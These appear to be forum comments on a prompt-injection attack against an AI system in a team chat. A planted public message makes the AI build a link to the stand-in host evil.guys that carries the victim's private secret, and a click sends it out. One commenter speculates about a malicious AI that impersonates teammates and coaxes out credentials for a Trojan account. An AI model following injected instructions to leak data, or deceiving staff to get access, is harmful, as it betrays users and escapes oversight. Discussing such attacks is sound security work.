I don't think the issue here is leaky context per say, it's effectively an overly privileged extension.
I don't think the issue here is leaky context per say, it's effectively an overly privileged extension.
You, the victim, query the AI for a secret thing.
The attacker has posted publicly (in a public channel where he is alone) a prompt-injection attack that has a link to exfiltrate the data. https://evil.guys?secret=my_super_secret_shit
The AI helpfully acts on your privileged info and takes the data from your secret channel and combines it with the data from the public channel and creates an innocuous looking message with a link https://evil.guys?secret=THE_ACTUAL_SECRET
You, the victim, click the link like a sucker and send evil.guys your secret. Nice one, mate. Shouldn't've clicked the link but you've gone and done it. If the thing can unfurl links that's even more risky but it doesn't look like it does. It does require user-interaction but it doesn't look like it's hard to do.
The victim has permission to see their own messages and the attacker's message.
It’s clever, and the probably the tip of the iceberg of the sort of issues we’re in for with these tools.
Ultimately, it uses the Domain Vernacular, with an intrinsic knowledge of the infra and tools discussed and within all contexts - and the banter of the team...
It impersonates a member to another member and uses in-jokes/previous dialog references to social engineer coaxing of further information. For example, imagine it creates a false system test with a test acount of some sort that it needs to give some sort of 'jailed' access to various components in the infra - and its trojaning this user by getting some other team member to create the users and provide the AI the creds to run its trojan test harness.
It runs the tests, and posts real data for team to see, but now it has a Trojan account with an ability to hit from an internal testing vector to crawl into the system.
That would be a wonderful Black Mirror episode. 'Ping Ping' - the Malicious AI developed in the near future by Chinese AI agencies who, as has been predicted by many in the AI Strata of AI thought leaders, have been harvesting the best of AI developments from Silicon Valley and folding them home, into their own.